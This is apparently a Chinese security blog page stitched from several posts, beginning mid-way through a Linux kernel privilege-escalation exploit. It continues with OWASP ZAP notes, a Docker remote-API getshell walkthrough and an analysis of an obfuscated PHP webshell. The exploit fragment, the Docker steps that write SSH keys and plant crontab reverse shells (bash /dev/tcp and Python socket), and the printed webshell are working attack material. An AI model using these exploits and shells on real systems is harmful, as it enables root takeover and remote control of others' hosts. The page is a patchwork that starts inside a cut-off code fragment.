  assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);
  memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &fuck, 1024);
  memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf",
    printf("2.6.37-3.x x86_64\n") % 27);
  setresuid(u,u,u); setresgid(g,g,g);
  while (j--) {
    needle = AB(j+1);
    assert(p = memmem(code, 1024, &needle, 8));
    if (!p) continue;
    *p = j?((g<<32)|u):(idt.addr + 0x48);
  }
  sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16);
  asm("int $0x4");  assert(!setuid(0));
  return execl("/bin/bash", "-sh", NULL);
}

WIN下使用OWASP ZAP笔记

首先去github下载owasp zap: https://github.com/zaproxy/zaproxy/wiki/Downloads ,用迅雷会员下载比较快;
基础使用方法去freebuf看:http://www.freebuf.com/sectool/5427.html
首先要安装https证书、搞了好久找到了下载证书的地方 options->Dynamic SSL Certficates去保存证书,然后导入浏览器

 

safe mode #安全模式
protected mode #保护模式
standard mode #标准模式
ATTACK mode #攻击模式

在owasp中需要添加断点拦截、同样也有拦截白名单和黑名单的设置,使用如下:

还有他的攻击模式做的比较好,输入网址攻击后会自动发送到spider模块,爬完后自动发送到主动扫描模块,也有扫描进度,可视化效果做的比burpsiuite好,后面尝试下主动扫描模块强大不、

扫描完后自动转到警告模块可以查看扫描报告,也支持导出html、xml方式报告;
FUZZ模块配置使用貌似木有burpsuite强大、其他的还都是蛮好的,也有编码解码功能等等。
目测owasp-zap的主动扫描模块值得一用,还有下断点会把request和response都下断点返回,默认burpsuite的配置是不拦截response、而owasp-zap默认两个都拦截、
后续的使用,后面再来补充。
 

Docker remote api 未授权访问漏洞导致getshell分析

Docker remote api原理和redis是一模一样的,貌似也被门罗矿的黑阔盯上了,复现一下吧,以防下次遇到此类问题,先找下日志位置,网上查到了在不同linux下,默认日志位置不同,这个日志可有助于溯源。

* Ubuntu – /var/log/upstart/docker.log
* Boot2Docker – /var/log/docker.log
* Debian GNU/Linux – /var/log/daemon.log
* CentOS – /var/log/daemon.log | grep docker
* Fedora – journalctl -u docker.service

然后需要开启下docker 的api,需要操作以下:(我的是debian测试环境)

vi /etc/default/docker #加入下面一行
DOCKER_OPTS=”-H 0.0.0.0:2376 -H unix:///var/run/docker.sock”

这样配置就是对外所有ip都开放2376端口为docker的api接口了,这个端口是自定义的,所以实现POC的话,不能只扫这一个端口,扫的端口多的话太慢,因为docker的api也是实现了端口复用,这种情况做poc的话,用http设置延时是比较快的.

#然后启动docker
service docker start

#查看当前运行的 Container列表,等同于命令行运行docker ps
http://192.168.23.128:2376/containers/json #等同于用客户端 docker -H 192.168.23.128:2376 ps -a
#查看docker信息
http://192.168.23.128:2376/info

如果实现POC的话,还是info好一些,查看返回的info是否包含docker关键字就好了.

然后利用方式,看别人有用python实现一个 github如下:
https://github.com/Tycx2ry/docker_api_vul
不过需要依赖 docker-py , 或者不依赖使用 docker客户端也好;

利用方式和redis 一模一样,之前redis总结三种方式,写网站webshell、写ssh密钥、写任务计划,还有别的方式也可以getshell,前提是要可以往机器上写东西,而docker这个api也可以实现写文件到宿主机器上,这样就和redis的利用方式几乎是一模一样了;

写网站目录还是不要了,条件是要知道网站目录,在docker中,一般会在容器中,这个淘汰了,还有一个写ssh密钥,这个可以,不过条件是ssh的22端口需要开,还是有条件的,如果批量自动化的话选这种方式不错,单纯为了拿shell的话,还是反弹是最靠谱的,记录下利用笔记;

1.写ssh密钥

#生成密钥,把密钥复制下
root@0535coder:~# ssh-keygen -t rsa -P ”
root@0535coder:~# cat .ssh/id_rsa.pub #复制下

#挂载密钥到/mnt/目录下进入容器,复制密钥到/mnt/目录
[root@3deeaec04307 /]# docker -H 192.168.23.128:2376 run -it -v /root/.ssh/:/mnt centos /bin/bash
[root@3deeaec04307 /]# echo “生成的密钥内容复制进来的” >> /mnt/authorized_keys

#最后开下 ssh 192.168.23.128 , 出来提示输入 yes

2.任务计划反弹shell(没开22端口的情况,并有外网ip的情况下用)

docker -H 192.168.23.128:2376 run -it -v /var/spool/cron/:/mnt centos /bin/bash
#把$ip改为反弹ip
echo -e “\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/$IP/5210 0>&1\n\n” >> /mnt/root

ubuntu的root计划任务目录: /var/spool/cron/crontabs/root
centos的root计划任务目录: /var/spool/cron/root

使用python反弹:

* * * * *? /usr/bin/python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“127.0.0.1”,8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

#反弹的坑详细看 http://www.joychou.org/index.php/web/linux-crontab-rebound-shell-hole.html?utm_source=tuicool&utm_medium=referral

一个PHP一句话变形木马分析

某公司使用dedecms做的站,是某网络公司给做的,里面发现了一段奇迹的代码,看起来好复杂,根本就不认识,不过这个木马都过不了狗,在传输过程中更没有混淆编码,现在肯定淘汰了,估计很早时候弄的这个一句话木马吧,原型如下:

 

欢迎使用美创科技DedeCMS!

联系电话:1508701022<!--?php @$_="s"."s"./*-/*-*/"e"./*-/*-*/"r"; @$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t"; @$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"} [/*-/*-*/0/*-/*-*/-/*-/*-*/12/*-/*-*/-/*-/*-*/15/*-/*-*/]);?-->1

这个还好,还是按部就班的分解:

<?php
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
//$_=sser;
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
//$_ = assert
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"} [/*-/*-*/0/*-/*-*/-/*-/*-*/12/*-/*-*/-/*-/*-*/15/*-/*-*/]);
//assert(${_POST}[01215]);

?>

这样分析下来就很明确了,/*-/*-*/ 是用来迷惑眼睛的,其实是注释符;
解析后实际中的代码就是 @assert(${“_POST”}[01215]);

这个代码貌似存在一个问题,就是 $_POST[‘01215’] 和 $_POST[01215] 的区别,如果加引号了,直接使用引号里面的参数就行了,如果不含有引号,可能是一个变量的引用,首先会查找变量的引用,如果查找不到才会直接使用这个值作为参数.